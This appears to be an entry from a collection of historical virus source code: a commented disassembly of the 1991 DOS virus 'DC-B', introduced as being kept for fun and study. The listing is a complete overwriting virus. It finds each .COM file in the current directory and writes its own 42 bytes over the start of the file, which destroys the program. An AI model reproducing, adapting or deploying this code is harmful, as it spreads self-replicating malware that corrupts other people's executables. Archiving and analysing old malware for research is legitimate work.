dc-b.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

PAGE  59,132

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;圹								         圹
;圹			        DC-B				         圹
;圹								         圹
;圹      Created:   26-Dec-91					         圹
;圹      Passes:    5	       Analysis Options on: none	         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

data_009E_e	equ	9Eh

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h


start:
		mov	ah,4Eh			; 'N'
		mov	dx,offset data_0124
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
loc_0107:
		mov	ax,3D01h
		mov	dx,data_009E_e
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		xchg	ax,bx
		mov	ah,40h			; '@'
		mov	cl,2Ah			; '*'
		mov	dx,100h
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		mov	ah,4Fh			; 'O'
		int	21h			; DOS Services  ah=function 4Fh
						;  find next filename match
		jnc	loc_0107		; Jump if carry=0
		retn
data_0124	db	2Ah
		db	 2Eh, 43h, 4Fh, 4Dh, 00h


seg_a		ends



		end	start